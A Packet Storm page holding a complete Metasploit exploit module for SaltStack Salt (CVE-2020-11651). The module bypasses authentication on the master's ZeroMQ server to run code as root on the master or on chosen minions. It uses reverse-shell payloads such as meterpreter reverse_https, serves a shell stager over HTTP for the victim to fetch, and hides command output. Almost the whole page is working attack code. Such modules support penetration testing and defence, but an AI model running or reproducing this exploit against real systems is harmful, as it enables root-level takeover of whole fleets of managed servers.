exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SaltStack Salt Master/Minion Unauthenticated Remote Code Execution

SaltStack Salt Master/Minion Unauthenticated Remote Code Execution
Posted May 12, 2020
Authored by wvu, F-Secure | Site metasploit.com

This Metasploit module exploits unauthenticated access to the runner() and _send_pub() methods in the SaltStack Salt master's ZeroMQ request server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to execute code as root on either the master or on select minions. VMware vRealize Operations Manager versions 7.5.0 through 8.1.0 are known to be affected by the Salt vulnerabilities. Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as well as Vulhub's Docker image.

tags | exploit, root, vulnerability
systems | linux, ubuntu
advisories | CVE-2020-11651, CVE-2020-11652
SHA-256 | 8a5e7d31040e1c21ab99f881d936f3d17aadab8f8786980255feab1b1b628534

SaltStack Salt Master/Minion Unauthenticated Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::ZeroMQ
include Msf::Exploit::Remote::CheckModule
include Msf::Exploit::CmdStager::HTTP # HACK: This is a mixin of a mixin
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SaltStack Salt Master/Minion Unauthenticated RCE',
'Description' => %q{
This module exploits unauthenticated access to the runner() and
_send_pub() methods in the SaltStack Salt master's ZeroMQ request
server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
execute code as root on either the master or on select minions.

VMware vRealize Operations Manager versions 7.5.0 through 8.1.0 are
known to be affected by the Salt vulnerabilities.

Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
well as Vulhub's Docker image.
},
'Author' => [
'F-Secure', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2020-11651'], # Auth bypass (used by this module)
['CVE', '2020-11652'], # Authed directory traversals (not used here)
['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],
['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],
['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']
],
'DisclosureDate' => '2020-04-30', # F-Secure advisory
'License' => MSF_LICENSE,
'Platform' => ['python', 'unix'],
'Arch' => [ARCH_PYTHON, ARCH_CMD],
'Privileged' => true,
'Targets' => [
[
'Master (Python payload)',
'Description' => 'Executing Python payload on the master',
'Type' => :python,
'DefaultOptions' => {
'PAYLOAD' => 'python/meterpreter/reverse_https'
}
],
[
'Master (Unix command)',
'Description' => 'Executing Unix command on the master',
'Type' => :unix_command,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
],
[
'Minions (Python payload)',
'Description' => 'Executing Python payload on the minions',
'Type' => :python,
'DefaultOptions' => {
'PAYLOAD' => 'python/meterpreter/reverse_https'
}
],
[
'Minions (Unix command)',
'Description' => 'Executing Unix command on the minions',
'Type' => :unix_command,
'DefaultOptions' => {
# cmd/unix/reverse_python_ssl crashes in this target
'PAYLOAD' => 'cmd/unix/reverse_python'
}
]
],
'DefaultTarget' => 0, # Defaults to master for safety
'DefaultOptions' => {
'CheckModule' => 'auxiliary/gather/saltstack_salt_root_key'
},
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
Opt::RPORT(4506),
OptRegexp.new('MINIONS', [true, 'PCRE regex of minions to target', /.*/])
])

register_advanced_options([
OptInt.new('WfsDelay', [true, 'Seconds to wait for *all* sessions', 10])
])

# XXX: https://github.com/rapid7/metasploit-framework/issues/12963
import_target_defaults
end

# NOTE: check is provided by auxiliary/gather/saltstack_salt_root_key

def exploit
# check.reason is from auxiliary/gather/saltstack_salt_root_key
if target.name.start_with?('Master')
unless (root_key = check.reason)
fail_with(Failure::BadConfig,
"#{target['Description']} requires a root key")
end

print_good("Successfully obtained root key: #{root_key}")
end

# These are from Msf::Exploit::Remote::ZeroMQ
zmq_connect
zmq_negotiate

print_status("#{target['Description']}: #{datastore['PAYLOAD']}")

case target.name
when /^Master/
yeet_runner(root_key)
when /^Minions/
yeet_send_pub
end

# HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one
sleep(wfs_delay)
rescue EOFError, Rex::ConnectionError => e
print_error("#{e.class}: #{e.message}")
ensure
# This is from Msf::Exploit::Remote::ZeroMQ
zmq_disconnect
end

def yeet_runner(root_key)
print_status("Yeeting runner() at #{peer}")

# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L1898-L1951
# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L1898-L1951
runner = {
'cmd' => 'runner',
# https://docs.saltstack.com/en/master/ref/runners/all/salt.runners.salt.html#salt.runners.salt.cmd
'fun' => 'salt.cmd',
'kwarg' => {
'hide_output' => true,
'ignore_retcode' => true,
'output_loglevel' => 'quiet'
},
'user' => 'root', # This is NOT the Unix user!
'key' => root_key # No JID needed, only the root key!
}

case target['Type']
when :python
vprint_status("Executing Python code: #{payload.encoded}")

# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
runner['kwarg'].merge!(
'fun' => 'cmd.exec_code',
'lang' => payload.arch.first,
'code' => payload.encoded
)
when :unix_command
# HTTPS doesn't appear to be supported by the server :(
print_status("Serving intermediate stager over HTTP: #{start_service}")

vprint_status("Executing Unix command: #{payload.encoded}")

# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.script
runner['kwarg'].merge!(
# cmd.run doesn't work due to a missing argument error, so we use this
'fun' => 'cmd.script',
'source' => get_uri,
'stdin' => payload.encoded
)
end

vprint_status("Unserialized clear load: #{runner}")
zmq_send_message(serialize_clear_load(runner))

unless (res = sock.get_once)
fail_with(Failure::Unknown, 'Did not receive runner() response')
end

vprint_good("Received runner() response: #{res.inspect}")
end

def yeet_send_pub
print_status("Yeeting _send_pub() at #{peer}")

# NOTE: A unique JID (job ID) is needed for every published job
jid = generate_jid

# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L2043-L2151
# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L2043-L2151
send_pub = {
'cmd' => '_send_pub',
'kwargs' => {
'bg' => true,
'hide_output' => true,
'ignore_retcode' => true,
'output_loglevel' => 'quiet',
'show_jid' => false,
'show_timeout' => false
},
'user' => 'root', # This is NOT the Unix user!
'tgt' => datastore['MINIONS'].source,
'tgt_type' => 'pcre',
'jid' => jid
}

case target['Type']
when :python
vprint_status("Executing Python code: #{payload.encoded}")

# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
send_pub.merge!(
'fun' => 'cmd.exec_code',
'arg' => [payload.arch.first, payload.encoded]
)
when :unix_command
vprint_status("Executing Unix command: #{payload.encoded}")

# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.run
send_pub.merge!(
'fun' => 'cmd.run',
'arg' => [payload.encoded]
)
end

vprint_status("Unserialized clear load: #{send_pub}")
zmq_send_message(serialize_clear_load(send_pub))

unless (res = sock.get_once)
fail_with(Failure::Unknown, 'Did not receive _send_pub() response')
end

vprint_good("Received _send_pub() response: #{res.inspect}")

# NOTE: This path will likely change between platforms and distros
register_file_for_cleanup("/var/cache/salt/minion/proc/#{jid}")
end

# https://github.com/saltstack/salt/blob/v2019.2.3/salt/utils/jid.py
# https://github.com/saltstack/salt/blob/v3000.1/salt/utils/jid.py
def generate_jid
DateTime.now.new_offset.strftime('%Y%m%d%H%M%S%6N')
end

# HACK: Stub out the command stager used by Msf::Exploit::CmdStager::HTTP
def stager_instance
nil
end

# HACK: Sub out the executable used by Msf::Exploit::CmdStager::HTTP
def exe
# NOTE: The shebang line is necessary in this case!
<<~SHELL
#!/bin/sh
/bin/sh
SHELL
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close